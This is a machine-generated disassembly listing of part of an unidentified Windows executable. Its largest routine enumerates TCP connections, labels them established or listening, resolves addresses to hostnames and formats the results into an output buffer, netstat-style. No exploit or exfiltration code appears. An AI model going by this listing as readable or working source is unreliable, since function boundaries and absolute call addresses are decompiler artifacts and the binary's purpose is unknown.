; =============== S U B	R O U T	I N E =======================================



sub_418BB0	proc near		; CODE XREF: sub_401361j
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		push	eax
		call	sub_4015DC
		mov	ecx, [eax]
		add	esp, 4
		mov	[esi], ecx
		mov	eax, esi
		pop	esi
		retn
sub_418BB0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418BE0	proc near		; CODE XREF: sub_401703j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_40223E
		neg	al
		sbb	eax, eax
		inc	eax
		retn	4
sub_418BE0	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418C10	proc near		; CODE XREF: sub_401438j

var_8		= byte ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		sub	esp, 8
		lea	eax, [esp+8+arg_8]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+10h+arg_4]
		call	sub_40184D
		test	al, al
		jz	short loc_418C6A


loc_418C28:				; CODE XREF: sub_418C10+47j
		lea	ecx, [esp+0Ch+var_8]
		push	0
		push	ecx
		lea	ecx, [esp+14h+arg_4]
		call	sub_40116D
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_40123F
; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch+arg_8]
		push	ecx
		lea	ecx, [esp+10h+arg_4]
		call	sub_40184D
		test	al, al
		jnz	short loc_418C28
		mov	eax, [esp+0Ch+arg_0]
		mov	edx, [esp+0Ch+arg_4]
		pop	esi
		mov	[eax], edx
		add	esp, 8
		retn	0Ch
; ---------------------------------------------------------------------------


loc_418C6A:				; CODE XREF: sub_418C10+16j
		mov	eax, [esp+0Ch+arg_0]
		mov	ecx, [esp+0Ch+arg_4]
		pop	esi
		mov	[eax], ecx
		add	esp, 8
		retn	0Ch
sub_418C10	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_418CA0	proc near		; CODE XREF: sub_402103j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	1
		push	eax
		call	sub_401D6B
sub_418CA0	endp

; ---------------------------------------------------------------------------
		retn	4
; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418CC0	proc near		; CODE XREF: sub_40155Aj

var_8		= byte ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		sub	esp, 8
		lea	eax, [esp+8+arg_8]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+10h+arg_4]
		call	sub_401703
		test	al, al
		jz	short loc_418D1A


loc_418CD8:				; CODE XREF: sub_418CC0+47j
		lea	ecx, [esp+0Ch+var_8]
		push	0
		push	ecx
		lea	ecx, [esp+14h+arg_4]
		call	sub_4012A3
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_40216C
; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch+arg_8]
		push	ecx
		lea	ecx, [esp+10h+arg_4]
		call	sub_401703
		test	al, al
		jnz	short loc_418CD8
		mov	eax, [esp+0Ch+arg_0]
		mov	edx, [esp+0Ch+arg_4]
		pop	esi
		mov	[eax], edx
		add	esp, 8
		retn	0Ch
; ---------------------------------------------------------------------------


loc_418D1A:				; CODE XREF: sub_418CC0+16j
		mov	eax, [esp+0Ch+arg_0]
		mov	ecx, [esp+0Ch+arg_4]
		pop	esi
		mov	[eax], ecx
		add	esp, 8
		retn	0Ch
sub_418CC0	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_418D50	proc near		; CODE XREF: sub_40139Dj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		push	0Ch
		call	sub_401C67
sub_418D50	endp

; ---------------------------------------------------------------------------
		mov	edi, [esp+0Ch]
		mov	esi, eax
		test	edi, edi
		jnz	short loc_418D65
		mov	edi, esi


loc_418D65:				; CODE XREF: ___:00418D61j
		push	esi
		call	sub_4015DC
		mov	[eax], edi
		mov	edi, [esp+14h]
		add	esp, 4
		test	edi, edi
		jnz	short loc_418D7A
		mov	edi, esi


loc_418D7A:				; CODE XREF: ___:00418D76j
		push	esi
		call	sub_401B31
		add	esp, 4
		mov	[eax], edi
		mov	eax, esi
		pop	edi
		pop	esi
		retn	8
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_418DA0	proc near		; CODE XREF: sub_40207Cj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	1
		push	eax
		call	sub_4013FC
sub_418DA0	endp

; ---------------------------------------------------------------------------
		retn	4
; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418DC0	proc near		; CODE XREF: sub_4015DCj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		retn
sub_418DC0	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418DE0	proc near		; CODE XREF: sub_401172j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 8
		retn
sub_418DE0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418E00	proc near		; CODE XREF: sub_401532j
		mov	eax, ecx
		retn
sub_418E00	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418E20	proc near		; CODE XREF: sub_401D98j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_4020FE
		mov	eax, esi
		pop	esi
		retn	4
sub_418E20	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418E50	proc near		; CODE XREF: sub_40223Ej

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	eax, [ecx]
		push	esi
		xor	ecx, ecx
		mov	esi, [edx]
		cmp	eax, esi
		pop	esi
		setz	cl
		mov	al, cl
		retn	4
sub_418E50	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_418E80	proc near		; CODE XREF: sub_40123Fj

var_4		= byte ptr -4
arg_4		= byte ptr  8

		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, ecx
		lea	eax, [esp+10h+var_4]
		push	0
		push	eax
		lea	ecx, [esp+18h+arg_4]
		call	sub_40116D
		mov	ecx, eax
		call	sub_401C9E
		mov	esi, eax
		push	esi
		call	sub_401A96
		push	esi
		mov	ebx, eax
		call	sub_401C6C
		mov	ecx, [eax]
		push	ecx
		call	sub_401A96
		mov	edx, [ebx]
		push	esi
		mov	[eax], edx
		call	sub_401C6C
		push	esi
		mov	ebx, eax
		call	sub_401A96
		mov	eax, [eax]
		push	eax
		call	sub_401C6C
		mov	ecx, [ebx]
		push	esi
		mov	[eax], ecx
		call	sub_401208
		add	esp, 1Ch
		mov	ecx, edi
		push	eax
		call	sub_40176C
		push	esi
		mov	ecx, edi
		call	sub_402103
sub_418E80	endp

; ---------------------------------------------------------------------------
		mov	eax, [edi+8]
		mov	edx, [esp+18h]
		dec	eax
		mov	[edi+8], eax
		mov	eax, [esp+14h]
		pop	edi
		pop	esi
		mov	[eax], edx
		pop	ebx
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_418F40	proc near		; CODE XREF: sub_401D6Bj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_437AD2
sub_418F40	endp

; ---------------------------------------------------------------------------
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418F60	proc near		; CODE XREF: sub_40116Dj

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [ecx]
		call	sub_401F28
		mov	eax, [esp+4+arg_0]
		mov	[eax], esi
		pop	esi
		retn	8
sub_418F60	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_418F90	proc near		; CODE XREF: sub_40216Cj

var_4		= byte ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, ecx
		lea	eax, [esp+10h+var_4]
		push	0
		push	eax
		lea	ecx, [esp+18h+arg_4]
		call	sub_4012A3
		mov	ecx, eax
		call	sub_401EEC
		mov	esi, eax
		push	esi
		call	sub_4015DC
		push	esi
		mov	ebx, eax
		call	sub_401B31
		mov	ecx, [eax]
		push	ecx
		call	sub_4015DC
		mov	edx, [ebx]
		push	esi
		mov	[eax], edx
		call	sub_401B31
		push	esi
		mov	ebx, eax
		call	sub_4015DC
		mov	eax, [eax]
		push	eax
		call	sub_401B31
		mov	ecx, [ebx]
		push	esi
		mov	[eax], ecx
		call	sub_401172
		add	esp, 1Ch
		mov	ecx, edi
		push	eax
		call	sub_4018D4
		push	esi
		mov	ecx, edi
		call	sub_40207C
sub_418F90	endp

; ---------------------------------------------------------------------------
		mov	eax, [edi+8]
		mov	edx, [esp+18h]
		dec	eax
		mov	[edi+8], eax
		mov	eax, [esp+14h]
		pop	edi
		pop	esi
		mov	[eax], edx
		pop	ebx
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_419050	proc near		; CODE XREF: sub_401B31j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 4
		retn
sub_419050	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_419070	proc near		; CODE XREF: sub_401C67j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0
		push	eax
		call	sub_401D2A
sub_419070	endp

; ---------------------------------------------------------------------------
		add	esp, 8
		retn	4
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4190A0	proc near		; CODE XREF: sub_4013FCj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_437AD2
sub_4190A0	endp

; ---------------------------------------------------------------------------
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4190C0	proc near		; CODE XREF: sub_4020FEj

arg_0		= dword	ptr  4

		mov	eax, ecx
		mov	ecx, [esp+arg_0]
		mov	[eax], ecx
		retn	4
sub_4190C0	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4190E0	proc near		; CODE XREF: sub_4012A3j

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [ecx]
		call	sub_401361
		mov	eax, [esp+4+arg_0]
		mov	[eax], esi
		pop	esi
		retn	8
sub_4190E0	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_419110	proc near		; CODE XREF: sub_40176Cj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	j_nullsub_8
		pop	ecx
		retn	4
sub_419110	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_419130	proc near		; CODE XREF: sub_4018D4j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	j_nullsub_4
		pop	ecx
		retn	4
sub_419130	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_419150	proc near		; CODE XREF: sub_401EECj
		mov	eax, [ecx]
		retn
sub_419150	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_8. PRESS KEYPAD "+" TO EXPAND]
		db 0Fh dup(90h)
		db 10h dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_4. PRESS KEYPAD "+" TO EXPAND]
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4191B0	proc near		; CODE XREF: sub_402121j

var_14		= dword	ptr -14h
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4191B0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	esi
		mov	esi, ecx
		mov	[esp+18h+var_14], esi
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_401753
		push	9
		mov	[esp+1Ch+var_4], 0
		mov	dword ptr [esi], offset	off_43F074
		call	sub_437AEA
sub_4191B0	endp

; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+8], eax
		test	eax, eax
		mov	byte ptr [esp+14h], 1
		jz	short loc_41921D
		mov	ecx, eax
		call	sub_401F2D
; ---------------------------------------------------------------------------
		mov	[esi+32h], eax
		mov	eax, esi
		pop	esi
		mov	ecx, [esp+8]
		mov	large fs:0, ecx
		add	esp, 14h
		retn
; ---------------------------------------------------------------------------


loc_41921D:				; CODE XREF: ___:004191FFj
		mov	ecx, [esp+0Ch]
		xor	eax, eax
		mov	[esi+32h], eax
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 14h
		retn
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_419270	proc near		; CODE XREF: sub_401F2Dj
		push	0FFFFFFFFh
		push	offset SEH_419270
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		push	14h
		call	sub_437AEA
sub_419270	endp

; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+4], eax
		test	eax, eax
		mov	dword ptr [esp+10h], 0
		jz	short loc_4192BE
		mov	ecx, eax
		call	sub_4015C3
		mov	[esi], eax
		mov	eax, esi
		pop	esi
		mov	ecx, [esp+4]
		mov	large fs:0, ecx
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_4192BE:				; CODE XREF: ___:004192A1j
		mov	ecx, [esp+8]
		xor	eax, eax
		mov	[esi], eax
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_419300	proc near		; CODE XREF: sub_4015C3j
		mov	eax, ecx
		retn
sub_419300	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_419320	proc near		; CODE XREF: sub_401974j

var_24		= byte ptr -24h
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_419320
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		push	esi
		push	0
		push	14h
		push	1
		push	14h
		push	13h
		push	14h
		push	5
		lea	eax, [esp+44h+var_24]
		push	0Eh
		mov	esi, ecx
		push	eax
		call	sub_4019C4
		add	esp, 24h
		push	esi
		mov	ecx, eax
		mov	[esp+2Ch+var_4], 0
		call	sub_40168B
		add	esi, 4
		push	eax
		push	esi
		mov	ecx, offset dword_449128
		call	sub_40159B
sub_419320	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+4]
		mov	dword ptr [esp+24h], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+1Ch]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 24h
		retn
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4193C0	proc near		; CODE XREF: sub_40111Dj

var_2A4		= dword	ptr -2A4h
var_2A0		= dword	ptr -2A0h
var_29C		= dword	ptr -29Ch
var_298		= dword	ptr -298h
var_294		= dword	ptr -294h
var_290		= dword	ptr -290h
var_28C		= byte ptr -28Ch
var_274		= byte ptr -274h
var_25C		= byte ptr -25Ch
var_23C		= byte ptr -23Ch
var_224		= byte ptr -224h
var_199		= byte ptr -199h
var_198		= byte ptr -198h
var_119		= byte ptr -119h
var_118		= byte ptr -118h
var_99		= byte ptr -99h
var_98		= byte ptr -98h
var_D		= byte ptr -0Dh
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		push	0FFFFFFFFh
		push	offset SEH_4193C0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 298h
		push	ebx
		mov	ebx, ecx
		push	esi
		mov	[esp+2ACh+var_2A4], ebx
		lea	ecx, [ebx+4]
		call	sub_4017EE
		mov	esi, [esp+2ACh+arg_0]
		push	eax
		lea	ecx, [esi+7Eh]
		call	sub_4012EE
		test	eax, eax
		jnz	loc_419766
		push	ebp
		push	edi
		push	offset asc_444600 ; " "
		lea	eax, [esp+2B8h+var_23C]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		call	sub_40168B
		push	eax
		call	near ptr 77C1BF18h
		nop
		add	esp, 4
		lea	ecx, [esp+2B4h+var_23C]
		mov	[ebx+36h], eax
		call	sub_401226
		mov	ecx, esi
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+2B8h+var_274]
		call	sub_401870
		xor	ebp, ebp
		push	offset dword_444D80
		lea	ecx, [esp+2B8h+var_274]
		mov	[esp+2B8h+var_4], ebp
		mov	[esp+2B8h+var_2A0], ebp
		call	sub_4013ED
		test	eax, eax
		jz	short loc_41946F
		mov	[esp+2B4h+var_2A0], 2
		jmp	short loc_419489
; ---------------------------------------------------------------------------


loc_41946F:				; CODE XREF: sub_4193C0+A3j
		push	offset dword_444D7C
		lea	ecx, [esp+2B8h+var_274]
		call	sub_4013ED
		test	eax, eax
		jz	short loc_419489
		mov	[esp+2B4h+var_2A0], 1


loc_419489:				; CODE XREF: sub_4193C0+ADj
					; sub_4193C0+BFj
		mov	ecx, [ebx+32h]
		mov	edi, offset dword_444D70
		xor	eax, eax
		mov	edx, [ecx]
		or	ecx, 0FFFFFFFFh
		add	edx, 2
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	eax, ecx
		mov	esi, edi
		mov	edi, edx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		mov	ecx, [ebx+32h]
		mov	edx, [ecx]
		mov	byte ptr [edx],	1
		mov	eax, [ebx+32h]
		mov	[esp+2B4h+var_119], 0
		mov	[esp+2B4h+var_99], 0
		mov	[esp+2B4h+var_D], 0
		mov	[esp+2B4h+var_199], 0
		mov	eax, [eax]
		cmp	byte ptr [eax],	0
		jnz	short loc_419518
		mov	esi, dword_511AA8
		add	eax, 2
		push	offset dword_444D70
		push	eax
		call	esi	; _stricmp
		add	esp, 8
		test	eax, eax
		jz	short loc_419518
		mov	ecx, [ebx+32h]
		push	offset off_444D6C
		mov	edx, [ecx]
		add	edx, 2
		push	edx
		call	esi	; _stricmp
		add	esp, 8
		test	eax, eax
		jnz	loc_41974C


loc_419518:				; CODE XREF: sub_4193C0+123j
					; sub_4193C0+13Bj
		push	0C00h
		mov	[esp+2B8h+var_294], 0C00h
		call	near ptr 77C2C407h
		nop
		add	esp, 4
		mov	esi, eax
		lea	eax, [esp+2B4h+var_294]
		mov	[esp+2B4h+var_29C], esi
		push	1
		push	eax
		push	esi
		mov	[esi], ebp
		call	sub_437F50
; ---------------------------------------------------------------------------
		mov	eax, [esi]
		mov	[esp+2B4h+var_298], ebp
		cmp	eax, ebp
		jle	loc_419742
		lea	ebp, [esi+14h]


loc_419554:				; CODE XREF: sub_4193C0+37Cj
		cmp	dword ptr [ebp-10h], 2
		jnz	short loc_419568
		mov	ecx, [ebx+32h]
		mov	edx, [ecx]
		cmp	byte ptr [edx],	0
		jz	loc_41972C


loc_419568:				; CODE XREF: sub_4193C0+198j
		mov	ax, [ebp-8]
		mov	esi, dword_511C5C
		push	eax
		call	esi	; ntohs
		mov	cx, [ebp+0]
		mov	[esp+2B4h+var_290], eax
		push	ecx
		call	esi	; ntohs
		mov	esi, [esp+2B4h+var_2A4]
		mov	ebx, eax
		mov	eax, [ebp-0Ch]
		push	1
		lea	edx, [esp+2B8h+var_198]
		push	7Fh
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_40147E
		mov	edx, [ebp-4]
		push	0
		lea	ecx, [esp+2B8h+var_118]
		push	7Fh
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_40147E
		mov	eax, [ebp-10h]
		sub	eax, 2
		jz	short loc_4195CC
		sub	eax, 3
		jnz	short loc_4195F2
		lea	edx, [esp+2B4h+var_25C]
		mov	edi, offset aEstablished ; "established"
		jmp	short loc_4195D5
; ---------------------------------------------------------------------------


loc_4195CC:				; CODE XREF: sub_4193C0+1FAj
		lea	edx, [esp+2B4h+var_25C]
		mov	edi, offset aListening ; "listening"


loc_4195D5:				; CODE XREF: sub_4193C0+20Aj
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	eax, ecx
		mov	esi, edi
		mov	edi, edx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb


loc_4195F2:				; CODE XREF: sub_4193C0+1FFj
		mov	ecx, 23h
		xor	eax, eax
		lea	edi, [esp+2B4h+var_98]
		rep stosd
		mov	ecx, 23h
		lea	edi, [esp+2B4h+var_224]
		rep stosd
		cmp	dword ptr [ebp-10h], 2
		jnz	short loc_419618
		xor	ebx, ebx


loc_419618:				; CODE XREF: sub_4193C0+254j
		mov	esi, [esp+2B4h+var_290]
		lea	ecx, [esp+2B4h+var_198]
		and	esi, 0FFFFh
		lea	edx, [esp+2B4h+var_98]
		push	esi
		push	ecx
		push	offset aSD_1	; "%s:%d"
		push	8Bh
		push	edx
		nop
		call	near ptr 77C3FA76h
		mov	edi, ebx
		lea	eax, [esp+2C8h+var_118]
		and	edi, 0FFFFh
		lea	ecx, [esp+2C8h+var_224]
		push	edi
		push	eax
		push	offset aSD_1	; "%s:%d"
		push	8Bh
		push	ecx
		nop
		call	near ptr 77C3FA76h
		add	esp, 28h
		lea	ecx, [esp+2B4h+var_28C]
		call	sub_40142E
		mov	eax, [esp+2B4h+var_2A0]
		mov	byte ptr [esp+2B4h+var_4], 1
		test	bx, bx
		jnz	short loc_4196AE
		cmp	eax, 1
		jz	loc_419713
		mov	edx, [esp+2B4h+var_2A4]
		mov	eax, [edx+36h]
		test	eax, eax
		jz	short loc_4196A1
		cmp	eax, esi
		jnz	short loc_419713


loc_4196A1:				; CODE XREF: sub_4193C0+2DBj
		lea	eax, [esp+2B4h+var_25C]
		push	esi
		push	eax
		push	offset aSD_0	; "%s: %d"
		jmp	short loc_4196D4
; ---------------------------------------------------------------------------


loc_4196AE:				; CODE XREF: sub_4193C0+2C7j
		cmp	eax, 2
		jz	short loc_419713
		mov	ecx, [esp+2B4h+var_2A4]
		mov	eax, [ecx+36h]
		test	eax, eax
		jz	short loc_4196C2
		cmp	eax, edi
		jnz	short loc_419713


loc_4196C2:				; CODE XREF: sub_4193C0+2FCj
		lea	edx, [esp+2B4h+var_224]
		lea	eax, [esp+2B4h+var_25C]
		push	edx
		push	eax
		push	offset aSS_6	; "%s: %s"


loc_4196D4:				; CODE XREF: sub_4193C0+2ECj
		lea	ecx, [esp+2C0h+var_28C]
		push	ecx
		call	sub_40102D
		mov	esi, [esp+2C4h+arg_0]
		add	esp, 10h
		lea	ecx, [esi+69h]
		call	sub_4014DD
		push	eax
		lea	ecx, [esp+2B8h+var_28C]
		call	sub_4014DD
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		mov	ecx, offset byte_4D8085
		call	sub_401118


loc_419713:				; CODE XREF: sub_4193C0+2CCj
					; sub_4193C0+2DFj ...
		lea	ecx, [esp+2B4h+var_28C]
		mov	byte ptr [esp+2B4h+var_4], 0
		call	sub_401226
		mov	esi, [esp+2B4h+var_29C]
		mov	ebx, [esp+2B4h+var_2A4]


loc_41972C:				; CODE XREF: sub_4193C0+1A2j
		mov	eax, [esp+2B4h+var_298]
		mov	ecx, [esi]
		inc	eax
		add	ebp, 14h
		cmp	eax, ecx
		mov	[esp+2B4h+var_298], eax
		jl	loc_419554


loc_419742:				; CODE XREF: sub_4193C0+18Bj
		push	esi
		nop
		call	near ptr 77C2C21Bh
		add	esp, 4


loc_41974C:				; CODE XREF: sub_4193C0+152j
		lea	ecx, [esp+2B4h+var_274]
		mov	[esp+2B4h+var_4], 0FFFFFFFFh
		call	sub_401226
		pop	edi
		mov	al, 1
		pop	ebp
		jmp	short loc_419768
; ---------------------------------------------------------------------------


loc_419766:				; CODE XREF: sub_4193C0+3Dj
		mov	al, 1


loc_419768:				; CODE XREF: sub_4193C0+3A4j
		mov	ecx, [esp+2ACh+var_C]
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 2A4h
		retn	4
sub_4193C0	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 100h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_419890	proc near		; CODE XREF: sub_40147Ej

var_20		= byte ptr -20h
arg_0		= byte ptr  4
arg_3		= dword	ptr  7
arg_8		= dword	ptr  0Ch
arg_C		= byte ptr  10h

		mov	eax, [esp+arg_3]
		sub	esp, 20h
		mov	edx, [esp+25h]
		and	eax, 0FFh
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		mov	ecx, [esp+32h]
		mov	ebx, [esp+2Ch+arg_8]
		mov	ebp, [esp+2Ch+arg_3+1]
		push	eax
		mov	eax, [esp+34h]
		and	ecx, 0FFh
		and	edx, 0FFh
		push	ecx
		and	eax, 0FFh
		push	edx
		push	eax
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	ebx
		push	ebp
		nop
		call	near ptr 77C3FA76h
		mov	ecx, [esi+32h]
		add	esp, 1Ch
		mov	al, [ecx+4]
		test	al, al
		jnz	short loc_419950
		mov	al, [esp+2Ch+arg_C]
		test	al, al
		jnz	short loc_41991E
		mov	eax, [esp+30h]
		test	eax, eax
		jz	short loc_41991E
		push	2
		lea	edx, [esp+30h+arg_0]
		push	4
		push	edx
		nop
		call	near ptr 71ABE479h
		test	eax, eax
		jz	short loc_419950
		mov	eax, [eax]
		push	ebx
		push	eax
		push	ebp
		nop
		call	near ptr 77C47A90h
		add	esp, 0Ch
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 20h
		retn	10h
; ---------------------------------------------------------------------------


loc_41991E:				; CODE XREF: sub_419890+5Aj
					; sub_419890+62j
		push	edi
		mov	ecx, 7
		xor	eax, eax
		lea	edi, [esp+30h+var_20]
		rep stosd
		lea	ecx, [esp+30h+var_20]
		push	1Dh
		push	ecx
		stosw
		nop
		call	near ptr 71AB50C8h
		test	eax, eax
		pop	edi
		jnz	short loc_419950
		lea	edx, [esp+2Ch+var_20]
		push	ebx
		push	edx
		push	ebp
		nop
		call	near ptr 77C47A90h
		add	esp, 0Ch


loc_419950:				; CODE XREF: sub_419890+52j
					; sub_419890+75j ...
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 20h
		retn	10h
sub_419890	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4199A0	proc near		; CODE XREF: sub_401F0Aj
		nop
		call	near ptr 27F0BB0h
		push	eax
		nop
		call	near ptr 77C371BCh
		pop	ecx
		retn
sub_4199A0	endp

; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4199C0	proc near		; CODE XREF: sub_4021C6j

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ecx
		push	esi
		nop
		call	near ptr 77C371D3h
		mov	esi, [esp+8+arg_0]
		mov	[esp+8+var_4], eax
		mov	eax, [esp+8+arg_4]
		fild	[esp+8+var_4]
		sub	eax, esi
		mov	[esp+8+arg_4], eax
		fimul	[esp+8+arg_4]
		fmul	dbl_43F0B0
		call	sub_437BDA
sub_4199C0	endp

; ---------------------------------------------------------------------------
		sub	esi, eax
		mov	eax, esi
		pop	esi
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)
